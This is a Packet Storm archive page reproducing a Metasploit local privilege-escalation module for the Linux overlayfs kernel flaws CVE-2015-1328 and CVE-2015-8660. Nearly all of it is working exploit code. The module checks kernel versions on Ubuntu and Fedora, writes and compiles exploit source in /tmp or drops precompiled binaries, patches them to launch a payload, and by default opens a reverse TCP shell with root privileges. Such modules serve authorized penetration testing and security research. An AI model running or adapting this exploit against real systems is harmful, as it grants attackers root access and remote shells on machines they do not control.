Lucene search

K
packetstormRebelPACKETSTORM:139474
HistoryNov 01, 2016 - 12:00 a.m.

Overlayfs Privilege Escalation

2016-11-0100:00:00
rebel
packetstormsecurity.com
281

0.001 Low

EPSS

Percentile

45.5%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require "msf/core"  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Overlayfs Privilege Escalation',  
'Description' => %q{  
This module attempts to exploit two different CVEs related to overlayfs.  
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55  
3.16.0-25 (14.10 default) < 3.16.0-41  
3.19.0-18 (15.04 default) < 3.19.0-21  
CVE-2015-8660:  
Ubuntu:  
3.19.0-18 < 3.19.0-43  
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)  
Fedora:  
< 4.2.8 (vulnerable, un-tested)  
Red Hat:  
< 3.10.0-327 (rhel 6, vulnerable, un-tested)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die <[email protected]>', # Module  
'rebel' # Discovery  
],  
'DisclosureDate' => 'Jun 16 2015',  
'Platform' => [ 'linux'],  
'Arch' => [ ARCH_X86, ARCH_X86_64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[ 'CVE-2015-1328', { } ],  
[ 'CVE-2015-8660', { } ]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' =>  
{  
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su  
},  
'References' =>  
[  
[ 'EDB', '39166'], # CVE-2015-8660  
[ 'EDB', '37292'], # CVE-2015-1328  
[ 'CVE', '2015-1328'],  
[ 'CVE', '2015-8660']  
]  
))  
register_options(  
[  
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),  
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])  
], self.class)  
end  
  
def check  
def mounts_exist?()  
vprint_status('Checking if mount points exist')  
if target.name == 'CVE-2015-1328'  
if not directory?('/tmp/ns_sploit')  
vprint_good('/tmp/ns_sploit not created')  
return true  
else  
print_error('/tmp/ns_sploit directory exists. Please delete.')  
return false  
end  
elsif target.name == 'CVE-2015-8660'  
if not directory?('/tmp/haxhax')  
vprint_good('/tmp/haxhax not created')  
return true  
else  
print_error('/tmp/haxhax directory exists. Please delete.')  
return false  
end  
end  
end  
  
def kernel_vuln?()  
os_id = cmd_exec('grep ^ID= /etc/os-release')  
case os_id  
when 'ID=ubuntu'  
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))  
case kernel.release.to_s  
when '3.13.0'  
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '3.16.0'  
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '3.19.0'  
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")  
return true  
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
when '4.2.0'  
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")  
return true  
else  
print_error("Kernel #{kernel} is NOT vulnerable")  
return false  
end  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
when 'ID=fedora'  
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc  
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')  
# => "4.0.4-301"  
if kernel.release < Gem::Version.new('4.2.8')  
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")  
return true  
else  
print_error("Non-vuln kernel #{kernel}")  
return false  
end  
else  
print_error("Unknown OS: #{os_id}")  
return false  
end  
end  
  
if mounts_exist?() && kernel_vuln?()  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
def exploit  
  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
filename = rand_text_alphanumeric(8)  
executable_path = "#{datastore['WritableDir']}/#{filename}"  
payloadname = rand_text_alphanumeric(8)  
payload_path = "#{datastore['WritableDir']}/#{payloadname}"  
  
def has_prereqs?()  
gcc = cmd_exec('which gcc')  
if gcc.include?('gcc')  
vprint_good('gcc is installed')  
else  
print_error('gcc is not installed. Compiling will fail.')  
end  
return gcc.include?('gcc')  
end  
  
compile = false  
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'  
if has_prereqs?()  
compile = true  
vprint_status('Live compiling exploit on system')  
else  
vprint_status('Dropping pre-compiled exploit on system')  
end  
end  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')  
end  
  
def upload_and_chmod(fname, fcontent, cleanup=true)  
print_status "Writing to #{fname} (#{fcontent.size} bytes)"  
rm_f fname  
write_file(fname, fcontent)  
cmd_exec("chmod +x #{fname}")  
if cleanup  
register_file_for_cleanup(fname)  
end  
end  
  
def on_new_session(session)  
super  
if target.name == 'CVE-2015-1328'  
session.shell_command("/bin/su") #this doesnt work on meterpreter?????  
# we cleanup here instead of earlier since we needed the /bin/su in our new session  
session.shell_command('rm -f /etc/ld.so.preload')  
session.shell_command('rm -f /tmp/ofs-lib.so')  
end  
end  
  
if compile  
begin  
if target.name == 'CVE-2015-1328'  
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size  
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')  
fd = ::File.open( path, "rb")  
cve_2015_1328 = fd.read(fd.stat.size)  
fd.close  
  
# pulled out from 1328.c's LIB define  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')  
fd = ::File.open( path, "rb")  
ofs_lib = fd.read(fd.stat.size)  
fd.close  
else  
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size  
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')  
fd = ::File.open( path, "rb")  
cve_2015_8660 = fd.read(fd.stat.size)  
fd.close  
end  
rescue  
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries  
end  
end  
  
  
if compile  
if target.name == 'CVE-2015-1328'  
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,  
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")  
upload_and_chmod("#{executable_path}.c", cve_2015_1328)  
ofs_path = "#{datastore['WritableDir']}/ofs-lib"  
upload_and_chmod("#{ofs_path}.c", ofs_lib)  
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file  
register_file_for_cleanup("#{ofs_path}.c")  
else  
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,  
"os.execl('#{payload_path}','#{payloadname}')")  
upload_and_chmod("#{executable_path}.c", cve_2015_8660)  
end  
vprint_status("Compiling #{executable_path}.c")  
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile  
register_file_for_cleanup(executable_path)  
else  
if target.name == 'CVE-2015-1328'  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')  
fd = ::File.open( path, "rb")  
cve_2015_1328 = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, cve_2015_1328)  
  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')  
fd = ::File.open( path, "rb")  
ofs_lib = fd.read(fd.stat.size)  
fd.close  
ofs_path = "#{datastore['WritableDir']}/ofs-lib"  
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs  
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)  
  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = 'lXqzVpYN'  
payload_path = '/tmp/lXqzVpYN'  
else  
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')  
fd = ::File.open( path, "rb")  
cve_2015_8660 = fd.read(fd.stat.size)  
fd.close  
upload_and_chmod(executable_path, cve_2015_8660)  
# overwrite with the hardcoded variable names in the compiled versions  
payload_filename = '1H0qLaq2'  
payload_path = '/tmp/1H0qLaq2'  
end  
end  
  
upload_and_chmod(payload_path, generate_payload_exe)  
vprint_status('Exploiting...')  
output = cmd_exec(executable_path)  
output.each_line { |line| vprint_status(line.chomp) }  
end  
end  
`